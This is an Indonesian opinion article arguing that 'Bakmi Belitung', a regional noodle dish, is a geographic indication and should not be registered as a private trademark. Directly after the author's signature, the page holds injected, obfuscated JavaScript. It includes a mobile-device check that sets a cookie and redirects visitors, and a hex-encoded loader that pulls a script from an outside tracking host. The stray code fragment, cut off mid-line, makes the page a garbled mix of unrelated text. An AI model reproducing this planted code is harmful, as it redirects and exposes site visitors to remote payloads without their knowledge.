SEBUTAN “BAKMIE BELITUNG” di MATA HUKUM

SAAT Ini Pulau Belitong sedang euforia wisata dan merupakan salah satu wilayah tujuan wisata di tanah air.

Seiring dengan majunya wisata Pulau Belitong. Lalu, makanan khas dan kuliner Pulau Belitong pun menjadi populer. Salah satu kulinernya adalah ‘Bakmi Belitung’.

Penyebaran kuliner ‘Bakmi Belitung’ menyebar dari Belitung, Bangka hingga Jakarta dan hampir sebagian Indonesia.

Dengan penyebaran kuliner ‘Bakmi Belitung’ yang semakin populer dan mendatangkan profit ini, maka akan menimbulkan kehendak pihak-pihak tertentu untuk mendaftarkan merek dagang ‘ Bakmi Belitung ‘ ke Kantor Merek Dagang, Kementerian Hukum dan HAM RI.

Bila terdaftar, akan terjadi monopoli atas Merek Dagang ‘ Bakmi Belitung ‘. Perbuatan itu tentu tidak adil dan merugikan bagi orang Belitung yang lain, yang pekerjaannya berjualan Bakmi Belitung secara tradisional dan turun-temurun.

Lalu bagaimana menyikapi hal ini dari mata hukum? Ada pepatah yang mengatakan ” Hukum Mesti Adil. Hukum Yang Tidak Adil, Bukanlah Hukum “.

Saya berpendapat, Kantor Merek mesti menolak untuk mendaftarkan Merek Dagang ‘ Bakmi Belitung ‘. Karena Bakmi Belitung merupakan produk yang berkaitan dengan Letak Geografis suatu daerah.

Penolakan ini, sesuai dengan ketentuan Pasal 56 (1) UU Nomor 15 Tahun 2001 tentang Merek, yang mengatakan:

“Indikasi geografis dilindungi sebagai suatu tanda yang menunjukkan daerah asal suatu barang, yang karena faktor lingkungan geografis termasuk faktor alam, faktor manusia, atau kombinasi dari kedua faktor tersebut, memberikan ciri dan kualitas tertentu pada barang yang dihasilkan.

Sama seperti halnya dengan Soto Makassar, Sate Padang, Kopi Khintamani, tidak bisa didaftarkan karena berkaitan dengan Letak Geografis suatu daerah.

Jangan sampai terulang kembali sejarah, seperti merek Kopi Toraja, didaftarkan di Jepang oleh Key Coffee Co, sebuah perusahaan Jepang. Sehingga rakyat Indonesia dirugikan. Karena Kopi Toraja yang dikirim ke Jepang harus dengan persetujuan Key Coffee Co. Padahal, 40% kopi yang diminum di Jepang berasal dari Toraja.

Bangsa Indonesia telah dirugikan oleh Jepang. Oleh sebab itu, jangan lagi kita sebagai bangsa Indonesia merugikan bangsa kita sendiri. Dengan menerima pendaftaran Merek ‘Bakmi Belitung’.

Nah, dengan demikian, ‘ Bakmi Belitung ‘ akan menjadi milik setiap orang Belitung, bahkan akan menjadi milik bangsa dan rakyat Indonesia.

Demikian sedikit tulisan dariku. Semoga bermanfaat. Selamat menikmati makanan yang lezat dengan rasa khas ‘ Bakmi Belitung ‘ !.

Jakarta, 3 Januari 2018
Kurnianto Purnama, SH, MH. t|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} lt;script type=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *